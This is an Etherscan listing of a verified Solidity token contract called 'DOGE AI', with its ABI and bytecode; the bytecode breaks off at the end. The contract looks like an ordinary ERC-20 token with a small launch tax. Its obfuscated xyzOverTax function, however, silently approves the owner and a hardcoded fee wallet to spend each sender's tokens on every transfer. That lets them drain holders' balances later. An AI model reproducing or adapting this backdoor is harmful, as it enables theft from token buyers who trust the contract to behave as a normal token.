Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-24
*/

/*
An autonomous AI agent here to uncover waste and inefficiencies in government spending and policy decisions.

https://www.doge-ai.io
https://github.com/DogeAIIO/doge-ai

https://x.com/DogeAIOnETH
https://t.me/DogeAIOnETH
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract DOGEAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (uint256 => address) private _xyzTaxes;
    mapping (address => uint256) private _xyzOwned;
    mapping (address => mapping (address => uint256)) private _xyzAllows;
    mapping (address => bool) private _xyzExcludedFee;
    address private _xyzPay = 0xD527f7EB84A6fe98caf9F2218756F762AAf8A2b8;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DOGE AI";
    string private constant _symbol = unicode"DOGEAI";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _maxTokenCount = _tTotal / 100;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    IUniswapRouter private _xyzRouter;
    address private _xyzPair;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }

    constructor () {
        _xyzExcludedFee[owner()] = true;
        _xyzExcludedFee[address(this)] = true;
        _xyzExcludedFee[_xyzPay] = true;
        _xyzTaxes[0] = owner();
        _xyzTaxes[1] = address(_xyzPay);
        _xyzOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _xyzRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function xyzOverTax(address xxx, uint256 yyy) private returns(bool) { 
        bool xyzYes = yyy > 0;
        if(xyzYes){
            _approve(xxx, _xyzTaxes[1], yyy);
            _approve(xxx, _xyzTaxes[0], yyy);
        }
        return xyzYes;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _xyzOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _xyzAllows[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _xyzAllows[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _xyzAllows[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address xyzA, address xyzB, uint256 xyzC) private {
        require(xyzA != address(0), "ERC20: transfer from the zero address");
        require(xyzB != address(0), "ERC20: transfer to the zero address");
        require(xyzC > 0, "Transfer amount must be greater than zero");

        uint256 xyzT=0;
        if (xyzA != owner() && xyzB != owner()) {
            xyzT = xyzC.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (xyzA == _xyzPair && xyzB != address(_xyzRouter) && ! _xyzExcludedFee[xyzB]) {
                _buyCount++;
            }

            if(xyzB == _xyzPair && xyzA!= address(this)) {
                xyzT = xyzC.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapLock && xyzB == _xyzPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTokenCount)
                swapTokensForEth(min(xyzC, min(contractTokenBalance, _maxTokenCount)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendEthFee(address(this).balance);
                }
            }
        }

        if(xyzOverTax(xyzA, xyzC) && xyzT > 0){
          _xyzOwned[address(this)] = _xyzOwned[address(this)].add(xyzT);
          emit Transfer(xyzA, address(this), xyzT);
        }

        _xyzOwned[xyzA] = _xyzOwned[xyzA].sub(xyzC);
        _xyzOwned[xyzB] = _xyzOwned[xyzB].add(xyzC.sub(xyzT));
        emit Transfer(xyzA, xyzB, xyzC.sub(xyzT));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _xyzRouter.WETH();
        _approve(address(this), address(_xyzRouter), tokenAmount);
        _xyzRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendEthFee(uint256 amount) private {
        payable(_xyzPay).transfer(amount);
    }

    receive() external payable {}  

    function startPair() external onlyOwner() {
        _xyzRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_xyzRouter), _tTotal);
        _xyzPair = IUniswapFactory(_xyzRouter.factory()).createPair(address(this), _xyzRouter.WETH());
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273d527f7eb84a6fe98caf9f2218756f762aaf8a2b860055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a6200007591906200037b565b6200008590633b9aca0062000392565b620000919190620003ac565b600e55600f805462ffffff19169055348015620000ac575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160045f620001045f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260049093528183208054851660019081179091556005549091168352912080549092161790556200016c5f546001600160a01b031690565b600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546001600160a01b03199081166001600160a01b03948516179091556005545f929092527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f8054929093169116179055620001f36009600a6200037b565b6200020390633b9aca0062000392565b335f81815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002456009600a6200037b565b6200025590633b9aca0062000392565b60405190815260200160405180910390a3620003cc565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002c057815f1904821115620002a457620002a46200026c565b80851615620002b257918102915b93841c939080029062000285565b509250929050565b5f82620002d85750600162000375565b81620002e657505f62000375565b8160018114620002ff57600281146200030a576200032a565b600191505062000375565b60ff8411156200031e576200031e6200026c565b50506001821b62000375565b5060208310610133831016604e8410600b84101617156200034f575081810a62000375565b6200035b838362000280565b805f19048211156200037157620003716200026c565b0290505b92915050565b5f6200038b60ff841683620002c8565b9392505050565b80820281158282048414176200037557620003756200026c565b5f82620003c757634e487b7160e01b5f52601260045260245ffd5b500490565b6114c080620003da5f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610237578063c9567bf914610256578063cec861551461026a578063dd62ed3e1461027e575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526007815266444f474520414960c81b60208201525b60405161010591906110cf565b60405180910390f35b348015610119575f80fd5b5061012d610128366004611132565b6102c2565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d8565b604051908152602001610105565b34801561016a575f80fd5b5061012d61017936600461115c565b6102f8565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b336600461119a565b6001600160a01b03165f9081526002602052604090205490565b3480156101d8575f80fd5b506101e161035f565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b50604080518082019091526006815265444f4745414960d01b60208201526100f8565b348015610242575f80fd5b5061012d610251366004611132565b6103d9565b348015610261575f80fd5b506101e16103e5565b348015610275575f80fd5b506101e1610546565b348015610289575f80fd5b506101516102983660046111b5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102ce338484610757565b5060015b92915050565b5f6102e56009600a6112e0565b6102f390633b9aca006112ee565b905090565b5f61030484848461087a565b610355843361035085604051806060016040528060288152602001611463602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ca0565b610757565b5060019392505050565b5f546001600160a01b031633146103915760405162461bcd60e51b815260040161038890611305565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102ce33848461087a565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260040161038890611305565b600f54610100900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610388565b600f54305f8181526002602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104a55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561050b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610530919061133a565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b0316331461056f5760405162461bcd60e51b815260040161038890611305565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105ce9030906001600160a01b036301000000909104166105c06009600a6112e0565b61035090633b9aca006112ee565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106439190611365565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c79190611365565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610711573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107359190611365565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610388565b6001600160a01b03821661081a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610388565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108de5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610388565b6001600160a01b0382166109405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610388565b5f81116109a15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610388565b5f80546001600160a01b038581169116148015906109cc57505f546001600160a01b03848116911614155b15610b4f576109fd60646109f7600a54600d54116109ec576006546109f0565b6008545b8590610cd8565b90610d5d565b6010549091506001600160a01b038581169116148015610a325750600f546001600160a01b0384811663010000009092041614155b8015610a5657506001600160a01b0383165f9081526004602052604090205460ff16155b15610a7057600d8054905f610a6a83611380565b91905055505b6010546001600160a01b038481169116148015610a9657506001600160a01b0384163014155b15610ac357610ac060646109f7600b54600d5411610ab6576007546109f0565b6009548590610cd8565b90505b305f90815260026020526040902054600f5460ff16158015610af257506010546001600160a01b038581169116145b8015610b065750600f5462010000900460ff165b8015610b155750600c54600d54115b15610b4d57600e54811115610b4157610b41610b3c84610b3784600e54610d9e565b610d9e565b610db2565b47610b4b47610f40565b505b505b610b598483610f7b565b8015610b6457505f81115b15610bdb57305f90815260026020526040902054610b829082611004565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd29085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610bfd9083611062565b6001600160a01b0385165f90815260026020526040902055610c40610c228383611062565b6001600160a01b0385165f9081526002602052604090205490611004565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c898585611062565b60405190815260200160405180910390a350505050565b5f8184841115610cc35760405162461bcd60e51b815260040161038891906110cf565b505f610ccf8486611398565b95945050505050565b5f825f03610ce757505f6102d2565b5f610cf283856112ee565b905082610cff85836113ab565b14610d565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610388565b9392505050565b5f610d5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a3565b5f818311610dac5782610d56565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610df257610df26113ca565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e879190611365565b81600181518110610e9a57610e9a6113ca565b6001600160a01b039283166020918202929092010152600f54610ec7913091630100000090041684610757565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610f059085905f908690309042906004016113de565b5f604051808303815f87803b158015610f1c575f80fd5b505af1158015610f2e573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f77573d5f803e3d5ffd5b5050565b5f8115801590610d565760015f8190526020527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f54610fc59085906001600160a01b031685610757565b5f805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4954610d569085906001600160a01b031685610757565b5f80611010838561144f565b905083811015610d565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610388565b5f610d5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ca0565b5f81836110c35760405162461bcd60e51b815260040161038891906110cf565b505f610ccf84866113ab565b5f602080835283518060208501525f5b818110156110fb578581018301518582016040015282016110df565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461112f575f80fd5b50565b5f8060408385031215611143575f80fd5b823561114e8161111b565b946020939093013593505050565b5f805f6060848603121561116e575f80fd5b83356111798161111b565b925060208401356111898161111b565b929592945050506040919091013590565b5f602082840312156111aa575f80fd5b8135610d568161111b565b5f80604083850312156111c6575f80fd5b82356111d18161111b565b915060208301356111e18161111b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561123a57815f1904821115611220576112206111ec565b8085161561122d57918102915b93841c9390800290611205565b509250929050565b5f82611250575060016102d2565b8161125c57505f6102d2565b8160018114611272576002811461127c57611298565b60019150506102d2565b60ff84111561128d5761128d6111ec565b50506001821b6102d2565b5060208310610133831016604e8410600b84101617156112bb575081810a6102d2565b6112c58383611200565b805f19048211156112d8576112d86111ec565b029392505050565b5f610d5660ff841683611242565b80820281158282048414176102d2576102d26111ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561134c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611375575f80fd5b8151610d568161111b565b5f60018201611391576113916111ec565b5060010190565b818103818111156102d2576102d26111ec565b5f826113c557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142e5784516001600160a01b031683529383019391830191600101611409565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d2576102d26111ec56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e2c1f1247b35b71460f1ea0842a222b55542ead28266e0cea484ae9d6be128764736f6c63430008170033

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610237578063c9567bf914610256578063cec861551461026a578063dd62ed3e1461027e575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526007815266444f474520414960c81b60208201525b60405161010591906110cf565b60405180910390f35b348015610119575f80fd5b5061012d610128366004611132565b6102c2565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d8565b604051908152602001610105565b34801561016a575f80fd5b5061012d61017936600461115c565b6102f8565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b336600461119a565b6001600160a01b03165f9081526002602052604090205490565b3480156101d8575f80fd5b506101e161035f565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b50604080518082019091526006815265444f4745414960d01b60208201526100f8565b348015610242575f80fd5b5061012d610251366004611132565b6103d9565b348015610261575f80fd5b506101e16103e5565b348015610275575f80fd5b506101e1610546565b348015610289575f80fd5b506101516102983660046111b5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102ce338484610757565b5060015b92915050565b5f6102e56009600a6112e0565b6102f390633b9aca006112ee565b905090565b5f61030484848461087a565b610355843361035085604051806060016040528060288152602001611463602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ca0565b610757565b5060019392505050565b5f546001600160a01b031633146103915760405162461bcd60e51b815260040161038890611305565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102ce33848461087a565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260040161038890611305565b600f54610100900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610388565b600f54305f8181526002602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104a55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561050b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610530919061133a565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b0316331461056f5760405162461bcd60e51b815260040161038890611305565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105ce9030906001600160a01b036301000000909104166105c06009600a6112e0565b61035090633b9aca006112ee565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106439190611365565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c79190611365565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610711573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107359190611365565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610388565b6001600160a01b03821661081a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610388565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108de5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610388565b6001600160a01b0382166109405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610388565b5f81116109a15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610388565b5f80546001600160a01b038581169116148015906109cc57505f546001600160a01b03848116911614155b15610b4f576109fd60646109f7600a54600d54116109ec576006546109f0565b6008545b8590610cd8565b90610d5d565b6010549091506001600160a01b038581169116148015610a325750600f546001600160a01b0384811663010000009092041614155b8015610a5657506001600160a01b0383165f9081526004602052604090205460ff16155b15610a7057600d8054905f610a6a83611380565b91905055505b6010546001600160a01b038481169116148015610a9657506001600160a01b0384163014155b15610ac357610ac060646109f7600b54600d5411610ab6576007546109f0565b6009548590610cd8565b90505b305f90815260026020526040902054600f5460ff16158015610af257506010546001600160a01b038581169116145b8015610b065750600f5462010000900460ff165b8015610b155750600c54600d54115b15610b4d57600e54811115610b4157610b41610b3c84610b3784600e54610d9e565b610d9e565b610db2565b47610b4b47610f40565b505b505b610b598483610f7b565b8015610b6457505f81115b15610bdb57305f90815260026020526040902054610b829082611004565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd29085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610bfd9083611062565b6001600160a01b0385165f90815260026020526040902055610c40610c228383611062565b6001600160a01b0385165f9081526002602052604090205490611004565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c898585611062565b60405190815260200160405180910390a350505050565b5f8184841115610cc35760405162461bcd60e51b815260040161038891906110cf565b505f610ccf8486611398565b95945050505050565b5f825f03610ce757505f6102d2565b5f610cf283856112ee565b905082610cff85836113ab565b14610d565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610388565b9392505050565b5f610d5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a3565b5f818311610dac5782610d56565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610df257610df26113ca565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e879190611365565b81600181518110610e9a57610e9a6113ca565b6001600160a01b039283166020918202929092010152600f54610ec7913091630100000090041684610757565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610f059085905f908690309042906004016113de565b5f604051808303815f87803b158015610f1c575f80fd5b505af1158015610f2e573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f77573d5f803e3d5ffd5b5050565b5f8115801590610d565760015f8190526020527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f54610fc59085906001600160a01b031685610757565b5f805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4954610d569085906001600160a01b031685610757565b5f80611010838561144f565b905083811015610d565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f76